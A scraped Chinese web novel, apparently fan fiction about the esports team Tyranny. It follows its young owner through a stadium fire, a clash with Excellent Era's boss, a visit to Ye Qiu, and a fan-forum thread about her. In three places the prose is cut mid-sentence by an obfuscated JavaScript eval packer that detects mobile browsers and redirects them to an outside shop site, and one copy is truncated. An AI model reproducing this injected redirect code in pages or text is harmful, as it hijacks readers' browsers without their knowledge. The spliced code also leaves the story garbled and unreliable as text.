霸图这边:韩文清拳法家,张新杰牧师,张佳乐弹药专家,秦牧云神枪手,白言飞元素法师,加一个替补成员。 嘉世这边:叶秋战斗法师,苏沐橙枪炮师,刘皓魔剑士,另外三名队员。 地图载入——熔岩洞穴。 这张图环境恶劣,地面有裂缝,时不时会喷出岩浆。玩家需要小心走位,一旦掉进裂缝或者被岩浆喷到,就会掉血。 倒计时开始。 十,九,八…… 秦昭昭屏住呼吸。 七,六,五…… 她的手紧紧攥着衣服下摆。 四,三,二…… 一! 比赛开始! 双方队员同时行动。大漠孤烟如猛虎出闸般冲向一叶之秋,拳风呼啸。百花缭乱在后方开始火力覆盖,子弹和手雷如烟花般绽放,石不转稳稳抬血。 嘉世这边也不甘示弱。一叶之秋挥舞战矛,迎上了大漠孤烟。沐雨橙风在后方架炮,火力凶猛。其他队员各司其职,配合默契。 比赛打得异常激烈。 双方你来我往,技能乱飞,光影交错。大屏幕上血条起起伏伏,看得人眼花缭乱。 秦昭昭眼睛死死盯着屏幕,心跳快得像打鼓。 太精彩了。这才是顶尖对决,这才是职业比赛! 她正看得入神,忽然,场馆里的灯闪了一下。 就那么一下,很快又恢复了。秦昭昭愣了一下,但没在意,继续看比赛。 比赛进行到第八分钟,霸图这边渐渐占据了优势。韩文清的大漠孤烟死死缠住叶秋的一叶之秋,张佳乐的百花缭乱火力全开,压制住了苏沐橙的沐雨橙风。秦牧云的零下九度和白言飞的罗塔在侧翼骚扰,打得嘉世阵型有点乱。 秦昭昭激动得直握拳。 就在这时—— 滋啦! 一声闷响从场馆后方传来。紧接着,所有的灯都灭了。大屏幕黑了,照明灯灭了,连应急灯都没亮。 整个场馆瞬间陷入一片漆黑。 观众席上响起一阵骚动,有人惊呼,有人骂娘,有人打开手机手电筒。 秦昭昭愣了两秒,然后猛地站起来:“怎么回事?!” 没人回答她。 因为下一秒,更可怕的事情发生了。 场馆后方传来“噼里啪啦”的响声,像是电线短路的声音。然后,一股焦糊味飘了过来。 紧接着,有人尖叫:“着火了!” 秦昭昭心里咯噔一下,转头看去。 场馆后方,选手通道附近,隐约能看到火光。不大,但确实在烧。黑烟开始弥漫,焦糊味越来越浓。 “快疏散!疏散!”工作人员大喊。 观众席乱成一团。人们纷纷起身,往出口涌去。尖叫声,哭喊声,脚步声混在一起,场面一片混乱。 秦昭昭脑子一片空白,但身体已经先一步行动了。 她不是往出口跑,而是往选手区跑。 她的队员们还在那里! 选手区这边,队员们也愣住了。比赛突然中断,场馆停电,还着火了……这一切发生得太快,快得让人反应不过来。 韩文清第一个站起来:“所有人,出去。” 队员们纷纷起身,往外走。 张佳乐是最后一个。他本来已经走到通道口了,忽然想起什么,又折返回去拿自己的外设包——那里面有他的键盘鼠标,是他用了好几年的宝贝。 就这么一耽搁,火势突然大了。 电路短路引发的火灾蔓延得特别快。火光一下子蹿高,黑烟滚滚,热浪扑面而来。 张佳乐被烟呛得咳嗽起来,眼睛都睁不开。他抱着外设包,摸索着往通道口走,但视线受阻,方向都分不清了。 就在这时,一只手抓住了他的胳膊。那只手力气很大,几乎是把他往外拽。 “张佳乐!快走!”是秦昭昭着急的声音。 张佳乐愣了一下,然后赶紧跟着她往外跑。两人冲出选手通道,跑到场馆外,才停下来大口喘气。 外面已经聚集了不少人,有观众,有工作人员,有消防车和救护车的鸣笛声。雨还在下,淅淅沥沥的,把所有人都淋湿了。 秦昭昭松开张佳乐的胳膊,上下打量他:“你没事吧?有没有受伤?有没有被烧到?”她说这话时特别认真,声音还有点抖。 她语气特别急,眼睛红红的,像是要哭了。 张佳乐看着她那副急得快哭出来的样子,心里一暖,拍了拍她的手:“我没事,秦总。真的没事,就是吓了一跳。” “吓一跳也不行啊!”秦昭昭急得眼眶都红了,“万一呢?万一把你伤着了怎么办?你可是我们队的宝贝弹药专家!” “秦总,我真没事!” “那就好……”秦昭昭松了口气,但下一秒,火气就上来了。 她转身就往场馆里冲。 “秦总!你去哪儿!”张佳乐想拉住她,但没拉住。 火很快被扑灭了,但场馆里一片狼藉。电路短路,整个场馆的电力系统都瘫痪了,比赛肯定是没法继续了。 主办方宣布比赛暂停,改期再赛。 观众们骂骂咧咧地离场,网上关于这场事故的讨论瞬间炸开了锅。 #嘉世主场停电着火# #霸图嘉世比赛中断# #杭城体育馆电路事故# 秦昭昭没空看手机,她现在一肚子火。 她的队员们差点受伤!比赛被中断!现场乱成一团! 这算什么? 秦昭昭冲回场馆,找到正在指挥疏散的场馆负责人陶轩。 陶轩是嘉世的老板,也是这场馆的负责人。这会儿他正满头大汗地打电话,表情焦急。 秦昭昭走过去,直接打断他:“陶总,这是怎么回事?” 陶轩抬头看她,愣了一下:“秦总?您怎么……” “我问你这是怎么回事!”秦昭昭声音拔高,“比赛场馆为什么会停电?为什么会着火?你们赛前不检查设施的吗!” 她声音很大,周围的人都看了过来。 陶轩脸上有点挂不住:“这个……我们也不知道怎么回事,可能是电路老化……” “电路老化?”秦昭昭气笑了,“电路老化你们不提前检修?你知道刚才有多危险吗?我的队员差点被困在里面!” 她越想越气,越想越后怕。 万一火势再大一点,万一张佳乐没及时出来,万一…… 秦昭昭不敢想下去了。 她从包里掏出笔记本和笔,唰唰唰写了几行字,然后撕下来,拍在陶轩胸口。 “这是借条。”秦昭昭盯着他,一字一句地说,“场馆维修费用,热搜压下去的费用,还有我队员们的精神损失费,都在这里了。等着你还给我。” 陶轩拿起那张纸看了一眼,眼睛瞪大了。 借条上清清楚楚写着金额五十万。 “秦总,这……” “这什么这!”秦昭昭打断他,“我差这点钱吗?我不差!但我生气!我告诉你陶轩,今天这事没完!我明天就找人来修场馆,全部换新再也没有隐患,热搜我明天就可以压下去,但这笔账,你得认!” 她说得特别霸气,特别理直气壮。 陶轩张了张嘴,想说什么,但看着秦昭昭那张气得发红的脸,最后还是把话咽回去了。 秦昭昭说完,转身就走。 走到门口,她又停下,回头看了陶轩一眼:“还有,比赛延期的事,你们自己跟联盟解释。我的队员们受了惊吓,需要休息。什么时候重新打,等我们通知。” 她说完,头也不回地走了。 外面还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“生气也帅。”张佳乐笑,“反正我是第一次见有人敢这么跟陶轩说话,还给他开借条。” 秦昭昭哼了一声:“他活该。” 两人聊了一会儿,秦昭昭心情好多了。她回到自己房间,躺在床上,这次很快就睡着了。 但她不知道的是,就在她睡着的时候,网上已经炸了。 有人把她在场馆里跟陶轩对峙的视频发到了网上——虽然画质模糊,但能看清楚她那张生气的脸,能听清楚她说的那些话。 视频很快上了热搜,主要有三条前十的热搜都是和这个有关的。 #霸图老板怒斥嘉世老板# #H市场馆火灾# #霸图嘉世比赛中断# 评论区热闹得像过年。 “我去!秦昭昭太刚了吧!直接开借条拍脸上!” “霸气!这处理速度,绝了!” “陶轩活该!比赛前不检查设施,差点出人命!” “霸图能有这样的老板,是福气啊!” “秦昭昭护犊子的样子帅呆了!” “从今天起,我就是秦总的粉丝了!” 秦昭昭的微博粉丝数一晚上涨了五十万,那条她之前发的“加油霸图”的微博下面,评论刷了几十万条,全是夸她的。 而这一切,秦昭昭都不知道。她睡得很沉,梦里还在跟陶轩吵架。 直到第二天早上,她被手机震动声吵醒。她迷迷糊糊拿起手机一看,几十个未接来电,几百条未读消息。 她点开微博,看到热搜榜上自己的名字,整个人都懵了。没想到大家热度冲那么快,不过想要压下去并不难。 “这……这是什么情况?” 她点开视频,看着自己昨天生气的样子,脸一下子就红了。 太尴尬了…… 这时,手机又响了,是老爹打来的。 “闺女!你没事吧?网上都在说H市场馆着火了,你没受伤吧?队员们呢?都没事吧?”秦大海的声音特别急。 “爸,我没事,队员们也没事。”秦昭昭赶紧安抚,“就是电路短路失火了,已经控制住了。” “那就好那就好!”秦大海松了口气,然后语气变得特别骄傲,“闺女,爸看到视频了!你太棒了!就该这么怼他!什么破场馆,差点伤着我闺女的队员!爸支持你!” 秦昭昭哭笑不得:“爸,你别跟着起哄……” “怎么是起哄呢!”秦大海说,“爸这是为你骄傲!对了,那一百万借条,他要是不还,爸帮你要!爸认识律师!” 秦昭昭:“……” 算了,跟老爹说不通。 挂掉电话,秦昭昭打开门,准备去吃早餐。 一出门,就碰见了韩文清。 韩文清站在她门口,看样子是正准备敲门。看见她出来,他愣了一下,然后问:“你没事吧?” 秦昭昭摇头:“没事。你呢?” “没事。”韩文清说,“昨晚的事,谢谢。” “谢什么?”秦昭昭愣住。 “谢谢你冲进去找张佳乐。”韩文清看着她,眼神很认真,“也谢谢你……护着我们。” 他说这话时,语气比平时温和很多。 秦昭昭脸一红,小声说:“我是老板,应该的。” 韩文清点点头,没再说什么,转身走了。 秦昭昭看着他的背影,心里那股后怕,慢慢被温暖取代。 是啊,她是老板。护着队员们,是她的责任。 她掏出手机,给陶轩发了条消息:“陶总,借条看到了吗?记得还钱。” 几秒后,陶轩回复:“……看到了。” 秦昭昭满意地收起手机,蹦蹦跳跳地去吃早餐了。 22.买下霸图的第二十二天 着火这事儿过去一天,秦昭昭找来的工程队效率高得吓人,第二天晚上场馆就能修好了。 工程队长拿着平板给她汇报进度时,秦昭昭听得一愣一愣的。什么电路全换最高规格防火材料,什么照明系统升级智能调控,什么观众席座椅全部检查加固……说得那叫一个专业。 “秦总您放心,明天晚上之前,保证给您一个比原来还好的场馆!”工程队长拍着胸脯保证。 秦昭昭点点头,把费用单子拍照发给了陶轩,配文:“陶总,记得报销。” 陶轩没回,估计是气得不想回。 秦昭昭也不在意,反正借条在手,不怕他赖账。 但问题来了,场馆在修,比赛打不了,队员们休整,她这个老板……闲得发慌。 在酒店房间里转悠了第十八圈后,秦昭昭终于忍不住了。 她想去看叶秋。 这个念头像颗种子,在她心里生根发芽,越长越大。那天韩文清提起叶秋时的烦躁表情,网上关于“斗神”的种种传说,还有那种神秘到连张照片都没有的做派…… 太勾人好奇心了!说不好奇才有鬼呢! 秦昭昭握着手机,在房间里踱步。去,还是不去?去了被韩文清知道怎么办?不去心里痒痒怎么办? 最后,好奇心战胜了理智。 她决定——去!但得偷偷去。 她打开微信,找到张新杰的头像,噼里啪啦打字:“张副队,我出去一趟,去去就来,很快的!别告诉韩队啊!” 消息发出去,她等了几秒。 张新杰的回复来了,一如既往地简洁:“好。” 秦昭昭松了口气。张新杰靠谱,答应了不说就肯定不会说。 她开始乔装打扮。 现在她也算是个“名人”了,H市火灾事件后,她的脸在网上传得到处都是,出门不伪装一下估计会被认出来。 她从行李箱里翻出帽子、墨镜、口罩,把自己裹得严严实实,对着镜子照了照。 嗯,亲爹来了都认不出来。 满意地点点头,秦昭昭鬼鬼祟祟地溜出酒店,打了个车直奔嘉世俱乐部。 嘉世俱乐部在H市另一边,离酒店有点远。秦昭昭坐在车上,看着窗外飞驰而过的街景,心里有点小激动,又有点小忐忑。 激动是因为要见到传说中的叶秋了,忐忑是因为……她这算不算“刺探敌情”? 算了,不管了!她就去看看,又不动手! 车停在嘉世俱乐部门口。秦昭昭付了钱,深吸一口气,走了进去。 大堂挺气派的,墙上挂满了嘉世历年的奖杯和照片。秦昭昭一眼就看到了那个三连冠时期的合影——照片里,一群人围着奖杯笑,站在最中间的那个人戴着兜帽,脸被阴影遮住,看不清。 那就是叶秋吧。 秦昭昭盯着那张照片看了好一会儿,然后走向前台。 前台小姐姐看见她这副“可疑分子”的打扮,警惕地问:“请问您找谁?” 秦昭昭摘下墨镜和口罩,露出脸:“我找陶轩陶总。” 前台小姐姐愣了两秒,然后眼睛瞪大了。她认出来了! “秦、秦总?”小姐姐声音都有点抖,“您……您稍等,我马上联系陶总!” 秦昭昭点点头,重新把墨镜戴上。 没过几分钟,陶轩就下来了。看见秦昭昭,他脸都绿了,那表情活像见了鬼。 “我的大小姐,您又来干什么?”陶轩语气特别无奈,“场馆不是在修了吗?费用我也没说不认,您还想怎么样?” 秦昭昭有点不好意思地吐了吐舌头:“陶老板,我不是来催债的。” “那您来……” “我想问问,叶秋选手在吗?”秦昭昭眼睛亮晶晶地看着他,“我实在是好奇他长什么样,就来了。” 陶轩:“……” 他盯着秦昭昭看了足足五秒,那眼神像是在说“你有病吧”。 但最后,他还是叹了口气,挥了挥手:“在训练室。我带您去,您快去看,看完赶紧走,行吗?” “行行行!”秦昭昭猛点头。 陶轩领着她往训练室走,脚步飞快,像是生怕被人看见。秦昭昭跟在他后面,好奇地东张西望。 嘉世的装修风格和霸图很不一样。霸图是深海蓝,沉稳硬朗;嘉世是枫叶红,热烈张扬。走廊墙上贴满了战队海报和粉丝寄语,看起来挺热闹的。 到了训练室门口,陶轩停下脚步,指了指里面:“就那儿,靠窗那台电脑。您快看,看完赶紧走。” 他说完,转身就走,那背影透着十二万分的不情愿。 秦昭昭站在门口,探头往里看。 训练室里人不多,大概都在休息。靠窗那台电脑前坐着个人,背对着门口,戴着耳机,正在专注地打游戏。 那人穿着件普通的黑色T恤,头发有点乱,坐姿很随意,甚至有点懒散。从背影看,跟韩文清那种挺拔硬朗的气质完全不一样。 这就是叶秋? 秦昭昭小心翼翼地走进去,走到那人身后,探头看屏幕。 屏幕上,战斗法师正在竞技场里翻滚跳跃,战矛挥舞,技能连招行云流水,速度快得让人眼花缭乱。 秦昭昭看得目瞪口呆。 这操作……也太强了吧? 她虽然看不懂太多细节,但那种流畅感,那种节奏感,那种举重若轻的自信感……是她从来没有在任何人身上见过的。 就连韩文清,操作虽然刚猛霸道,但也带着一股“我很用力”的感觉。 可叶秋不是。 他打得特别轻松,特别随意,好像那些华丽的操作对他来说就像呼吸一样自然。 秦昭昭看入了神,连那人什么时候打完一局都没注意到。 直到那人摘下耳机,转过头。 秦昭昭这才看清他的脸。 算不上特别帅,但很清秀,皮肤很白,眼睛很亮,嘴角带着点若有若无的笑意。看起来特别年轻,特别……普通。 就是那种扔人堆里找不出来的普通。 跟秦昭昭想象中的“斗神”完全不一样。 “哟,来了位客人?”叶秋看着她,笑了,“秦总是吧?久仰大名。” 他的声音很好听,温和中带着点磁性,说话的语气特别随意,像是在跟老朋友聊天。 秦昭昭愣了一下,然后脸红了:“你、你认识我?” “现在网上谁不认识你啊。”叶秋笑得更开心了,“怒怼陶轩,开五十万借条,当晚就找工程队修场馆……秦总,您这效率,我佩服。” 秦昭昭被他夸得不好意思,小声说:“我就是生气……” “生气也得有底气啊。”叶秋站起来,伸了个懒腰,“像我就没这底气,只能忍气吞声。” 他说这话时语气特别轻松,像是在开玩笑。 秦昭昭看着他,忽然觉得,这个人跟韩文清真的太不一样了。 韩文清是山,沉稳硬朗,气场强大。 叶秋是风,随意洒脱,捉摸不透。 这样两个人,是怎么斗了八年的? “那个……”秦昭昭犹豫了一下,还是问了出来,“叶秋前辈,你和韩队……是不是关系特别不好?” 叶秋挑了挑眉,笑容更明显了:“怎么,韩文清那小子跟你说我坏话了?” “没有没有!”秦昭昭赶紧摆手,“韩队他……他就是不太想提你。” “正常。”叶秋重新坐下,靠在椅背上,“那家伙一直这样,死要面子活受罪。其实我俩关系……还行吧。打了这么多年,也算知根知底了。” 他说这话时眼神有点悠远,像是想起了很多往事。 秦昭昭看着他,心里的好奇更重了。 但还没等她再问什么,训练室的门又被推开了。 一个特别漂亮的女孩走了进来,一头长发,笑容灿烂得像阳光。看见秦昭昭,她愣了一下,然后眼睛一亮。 “秦总?”女孩快步走过来,压低声音凑到秦昭昭耳边说,“您做的太帅了!我早就看那破电路不顺眼了!” 秦昭昭一头雾水地眨了眨眼睛。 女孩笑得特别开心,拍了拍她的肩膀:“我是苏沐橙,嘉世的枪炮师。秦总,您真是女中豪杰!” 说完,她哼着歌蹦蹦跳跳地坐到叶秋身边,开始跟他说话。 秦昭昭站在原地,有点懵。 他们……好像一点也不在意自家老板被自己讹了一顿啊? 而且苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962322|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沐橙那态度,怎么像是……在给她加油? 叶秋看秦昭昭那副懵懂的样子,笑着摇了摇头:“沐橙就这样,你别介意。至于陶轩……嗯,他活该。” 他说这话时语气特别自然,完全没有一点维护自家老板的意思。 秦昭昭更懵了。 这嘉世内部……关系好像有点复杂啊。 她没再多问,跟叶秋和苏沐橙道了别,转身离开了训练室。 走出嘉世俱乐部时,天已经快黑了。晚风吹在脸上,凉丝丝的。秦昭昭站在门口,回头看了一眼那座枫叶红色的建筑,心里有种说不出的感觉。 叶秋跟她想象中完全不一样。 没有斗神的架子,没有神秘的气场,就是个普通的、爱笑的、说话随意的年轻人。 可就是这样一个人,压了韩文清八年。 秦昭昭摇摇头,不再多想。她打了个车回酒店。 到酒店时,天已经全黑了。秦昭昭蹦蹦跳跳地往自己房间走,心情还挺好。虽然没看到想象中的“斗神”,但见到了真人,还聊了两句,也算满足了好奇心。 走到房间门口时,她愣住了。 韩文清靠在她房间门口,双手抱胸,眉头微皱,正看着她。 那眼神……有点吓人。 秦昭昭心里咯噔一下,赶紧挤出一个笑容:“韩队,你、你怎么在这儿?” “你去哪儿了?”韩文清问,声音低沉。 “我……我就出去逛逛!”秦昭昭眼神躲闪,“H市挺漂亮的,我去西湖边转了转!” “转了四个小时?”韩文清盯着她。 秦昭昭:“……” 她忘了看时间。 “说实话。”韩文清往前走了一步,离她更近了。 秦昭昭被他的气场压得有点喘不过气,低着头小声说:“我……我去嘉世了。” 空气安静了几秒。 秦昭昭能感觉到韩文清的目光落在她头顶,像是要把她看穿。 她紧张得手指都绞在了一起。 但预想中的怒火并没有来。 韩文清只是沉默了一会儿,然后伸手,在她脑袋上轻轻拍了一下。 动作很轻,带着点无奈,又带着点……宠溺? 秦昭昭愣住了,抬起头看他。 韩文清的眼神很复杂,里面有无奈,有担忧,有生气,但更多的是一种她看不懂的情绪。 他看了她一会儿,最后只说了一句:“下次别乱跑。” 说完,转身走了。 秦昭昭站在原地,看着他消失在走廊尽头的背影,心里那股紧张慢慢散了,取而代之的是一种很温暖的感觉。 他是在担心她。 虽然没说出来,但他是在担心她。 秦昭昭摸了摸刚才被他拍过的头顶,嘴角忍不住上扬。 但下一秒,她突然反应过来,冲着走廊那头喊:“韩队!摸头长不高的!” 走廊那头传来一声很轻的、几乎听不见的笑声。 秦昭昭愣了一下,然后脸红了。 他……他笑了? 韩文清笑了? 秦昭昭站在原地,脸越来越红,心跳也越来越快。 她忽然觉得,今天这趟“偷偷摸摸”的探险,值了。 不仅见到了叶秋,还…… 秦昭昭甩甩头,把那些乱七八糟的想法甩出脑子,几乎是逃也似的,刷卡进了房间。 关上门,她靠在门板上,忍不住笑出声。 窗外,H市的夜景灯火辉煌。 而走廊另一头,韩文清回到自己房间,关上门。 他站在窗边,看着外面的夜景,嘴角那抹还没完全散去的笑意,终于不再掩饰。 他想起秦昭昭刚才那副“做错事被抓包”的慌张样子,想起她喊“摸头长不高的”时气鼓鼓的表情…… 韩文清摇摇头,眼里是自己都没察觉的温柔。 这姑娘,真是…… 让人拿她没办法。 他拿出手机,给张新杰发了条消息:“她回来了。” 几秒后,张新杰回复:“安全就好。” 韩文清放下手机,倒也没有立刻睡觉,而是拿出平板研究起叶秋的比赛录像来。 23.买下霸图的第二十三天 标题:【1分钟内,我要霸图这个新老板的所有资料!秦总太帅了!】 1L 楼主 如题!刚看完H市场馆火灾的新闻视频,那个霸图女老板秦昭昭怒怼陶轩的视频直接把我圈粉了!那句“等着你还给我”也太霸气了!求万能的坛友扒一扒这位神仙老板! 2L 沙发!同求!视频我也看了,秦总穿着湿透的外套,头发都乱了,但那个气场两米八!陶轩在她面前跟个鹌鹑似的。 3L 来了来了!我整理了一下已知信息: 姓名:秦昭昭 年龄:据说刚满21岁(存疑,看起来像大学生) 身份:霸图电子竞技俱乐部新老板(S7赛季初接手) 家庭背景:疑似超级富二代,老爹是传说中“买俱乐部给女儿当玩具”的那种大佬。 荣耀水平:据她自己说玩荣耀才三个月,主玩拳法家,ID“昭昭日月”,竞技场胜率……咳咳,据说很感人。 特点:护犊子(划重点),有钱,任性,长得还挺好看。 4L 楼上补充一点:行动力MAX!视频里着火第一时间冲进去拽自家选手出来,转头就找场馆负责人算账开借条,据说当晚就联系工程队去修场馆了,热搜也是她找人压下去的。这效率,我服。 5L 只有我注意到她开的是一百万借条吗?!陶轩脸都绿了! 6L 回复 5L 姐妹你不是一个人!一百万说拍就拍,关键是人家说了“我不差这点钱,但我生气”!这是什么霸总宣言!爱了爱了! 7L 弱弱问一句,她真是玩荣耀才三个月?那她怎么当上霸图老板的? 8L 回复 7L 据不可靠小道消息,她爹是个宠女狂魔暴发户,因为女儿喜欢荣耀(特别是拳法家),就直接把霸图买下来送给她玩了……是的,你没看错,“玩”。 9L 卧槽!这是什么神仙爸爸!还缺女儿吗?上过大学那种! 10L 所以她是真·萌新老板?那霸图这赛季阵容是她组的?张佳乐和林敬言真是她挖来的? 11L 回复 10L 十有八九是真的。转会期那会儿就有风声说霸图新老板挥着支票本到处挖人,没想到是个这么年轻的妹子。现在看,张佳乐和林敬言能来,除了冠军诱惑,估计这老板的人格魅力也加分不少。谁不想有个出事真往上冲护着你的老板啊? 12L 我是霸图粉丝,我来说两句。秦总接手后,俱乐部全面翻新,训练设备全换顶配,队员宿舍改成单人间海景房,食堂请大厨,还动不动就请客撒钱……虽然她确实不懂战术,但后勤保障这块真是没得说。队员们状态肉眼可见地好。 13L 酸了酸了,这是什么神仙工作环境!对比一下某战队连空调都不舍得修…… 14L 只有我好奇她和韩队的关系吗?视频里韩队看她的眼神……有点东西。 15L 回复 14L 你也发现了?!火灾后韩队那个眼神,跟平时硬邦邦的样子完全不一样!我CP脑要长出来了! 16L 冷知识:秦总游戏职业是拳法家,韩队也是拳法家。据霸图工作人员透露,秦总经常向韩队请教怎么打魔道学者和剑客。 17L “请教”是怎么个请教法?是正经请教吗?(狗头) 18L 楼上穿件衣服吧!不过说真的,秦总看韩队训练那个星星眼,我看霸图运营发的视频切片的时候都快被闪瞎了。她绝对是韩队铁粉! 19L 不止韩队好吗!她对张新杰副队也特别信赖,张口闭口“张副队说”。对张佳乐和林敬言这些新来的也照顾有加,林敬言手伤复发还是她亲自给涂的药膏(有图有真相)。 20L 【图片.jpg】楼上说的是这张吧?也是运营拍的,在休息室,秦总低着头特别认真地给林敬言手腕涂药,林敬言笑得那叫一个温柔。这画面,有点好磕是怎么回事? 21L 什么都磕只会害了你!不过秦总这种一视同仁对大家都好的性格真的很拉好感。她是真把战队当自己家,把队员当家人护着。 22L H市事件后,霸图粉丝凝聚力简直爆棚。以前还有人质疑她“玩票”,现在全是“秦总威武”、“跟着秦总有肉吃”。她微博一晚上涨粉几十万,评论区大型表白现场。 23L 纯路人,看完视频和科普,有点被圈粉了。这老板能处,有事她真上! 24L 她是不是还特别喜欢发微博?我看她经常晒训练室、晒食堂、晒团建,跟粉丝互动也挺多,一点老板架子都没有。 25L 对!而且画风清奇。别人家老板发微博都是官方通告,她发的是“今天韩队教我打拳法家连招又失败了呜呜呜”,“张副队做的营养餐好看但味道好淡”,“从张佳乐那里A了好多零食嘿嘿”……像个分享日常的小迷妹。 26L 哈哈哈这个我知道!她还被粉丝抓到用小号在论坛跟黑子对线,辩不过就生气地晒自己豪华晚餐,配文“有钱真好,气死你”,结果被自家粉丝揪出来,场面一度十分滑稽。 27L 这是什么绝世小可爱!有钱有颜有行动力,还这么真性情!陶轩这次踢到铁板了,活该! 28L 最新消息!有H市那边的朋友说,霸图自己带来的工程队已经在抢修场馆了,据说用的全是顶级材料和设备,速度飞快。秦总放话要把它修得比原来更好,费用当然算在陶轩头上。 29L 陶轩:悔不当初,早知道检查一下电路了。 30L 秦总这波操作,不仅护了犊子,还给霸图赚足了口碑和路人缘。现在全网都在夸她,连其他战队的粉丝都有不少转粉的。这波营销,满分。 31L 她需要营销吗?她只是单纯在生气和解决问题而已。但这种“真”恰恰是最打动人的。 32L 说句实话,职业圈苦“外行指导内行”和“抠门老板”久矣。秦总这种“我负责花钱和护着你们,你们负责好好打比赛”的老板,简直是清流。霸图选手们这赛季心态肉眼可见的放松和自信,跟这个肯定有关系。 33L 难怪霸图这赛季势头这么猛,银河战舰不是吹的。有这样的后勤保障和精神支持,选手们可以心无旁骛地冲击冠军。 34L 我宣布,从现在起,我就是秦总的墙头了!姐姐给个机会! 35L 楼上醒醒,看看人家身边都是谁?韩文清、张新杰、张佳乐、林敬言……你拿什么竞争? 36L 我拿我的一片真心!(bushi) 37L 话说,比赛延期到什么时候啊?我还等着看霸图干翻嘉世呢! 38L 据联盟公告,等场馆检修完毕,确保安全后再安排。不过有秦总盯着,估计很快。我现在更期待比赛时两边的气氛了,绝对火花四溅。 39L 陶轩还敢露面吗?我要是他,现在找个地缝钻进去。 40L 只有我在期待秦总下次还会有什么惊人操作吗?感觉粉她就像开盲盒,每次都有惊喜(吓)。 41L 同期待!这位姐的生活我的梦!顺便求一个同款老爹! 42L 好了,资料扒得差不多了。总结:秦昭昭,年轻富二代,荣耀萌新,霸图老板,护犊子狂魔,行动派,真性情,疑似全员团宠。这样的老板,请给我来一打! 43L 楼主 感谢万能的坛友!资料收下了,这波粉得不亏!秦总,以后我就是你的人了!(振声) 44L 楼主你矜持点!不过带上我! 45L +1!从今天起,霸图比赛我多看两眼,就为了看观众席有没有秦总的身影。 46L 最新路透!霸图全队今天下午出现在H市某五星级酒店餐厅,看样子是在团建压惊。秦总坐在主位,笑得特别开心,韩队坐在她旁边……嗯,脸色依旧很韩队,但好像给秦总递了次纸巾。 47L 递纸巾!我死了!细节糖最致命! 48L 看来火灾阴影过去了。那就好,期待他们接下来的比赛!霸图加油!秦总威武! 50L 【嘉世十年老粉】 看不下去了。这楼里吹得也太过了吧?一个仗着家里有几个钱就颐指气使的大小姐,对着我们陶老板呼来喝去,还开什么一百万借条,这不是仗势欺人是什么?有钱了不起? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967644|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 51L 回复 50L 来了来了,经典“有钱有罪论”。先不说是不是“有几个钱”,你们场馆电路老化差点酿成大祸是事实吧?差点伤到选手是事实吧?秦总第一时间处理问题,没追究法律责任只要了维修费和合理赔偿,已经够客气了。陶轩作为场馆负责人,失职在先,被怼不是活该? 52L 【嘉世十年老粉】回复 51L 电路老化是意外,谁也不想发生!她那种咄咄逼人的态度就是没教养!我们嘉世自己会处理,用得着她一个外人指手画脚?还带着自己工程队来修,显摆她有钱是吧? 53L 楼上真是粉随正主,嘴硬第一名。意外?赛前不检查基础设施才是最大的意外!要不是秦总反应快,出事了你负责?还“外人”,比赛是在你们主场办的,出事了负责人不顶事,还不让受害方自己解决问题了?逻辑感人。 54L 【叶秋我本命】 作为理智嘉世粉,这次我觉得陶老板理亏。安全无小事,秦老板虽然态度强势了点,但做的事在理。而且看视频,她首先是冲进去确保自家选手安全,这是人之常情。重点难道不是该督促联盟和各家俱乐部都好好检修场馆,杜绝隐患吗? 55L 回复 54L 终于来了个明白人!粉战队和明辨是非不冲突。这次确实是嘉世场馆管理有问题,差点坑了所有选手和观众。秦总发火情有可原,后续处理也高效,没毛病。 56L 【嘉世十年老粉】回复 54L 你到底是哪边的?这就帮着外人说话了?她霸图的人金贵,我们嘉世的人就不金贵了?她怎么不关心一下我们选手受没受惊吓?双标! 57L 笑死,秦总冲进去拽出来的是当时离火源最近的张佳乐,那是情况最危急的。她作为霸图老板,优先确保自己队员安全有什么问题?难道要先绕场一周慰问完所有人再行动?你们嘉世老板陶轩当时又在干嘛?躲在后面打电话? 58L 吵什么吵!歪楼了!这楼是扒秦总资料的,不是给你们吵架的!要吵去新闻评论区吵! 59L 同意楼上。不过既然说到这儿了,我补充个刚听到的八卦:据说秦总今天下午还“微服私访”去嘉世俱乐部了,好像是想见叶秋大神?这心态也是够好的,刚跟人老板吵完架,转头就去参观对手老家。 60L ???真的假的?这操作也太秀了吧!她见到叶神了?叶神啥反应? 61L 回复 59L 据说是见到了,还聊了几句。具体聊了啥不知道,但看门卫大叔的说法,秦总出来的时候心情不错,叶神那边也没听说有啥不愉快。反倒是陶轩,听说秦总又来了,头大得不行。 62L 【嘉世十年老粉】 她还有脸来我们嘉世?!真是欺人太甚!当我们嘉世是什么地方,菜市场吗想来就来? 63L 回复 62L 人家是正大光明走的前台,找的也是选手交流,又不是去砸场子。你这被害妄想症有点严重啊。说不定叶秋大神还觉得这姑娘挺有意思呢。 64L 停!别再引战了!回到主题好吗! 我来补充:秦总好像还特别受选手欢迎?不止霸图自家的,听说连嘉世的苏沐橙选手私下都夸她“做得帅”。这人格魅力,有点东西。 65L 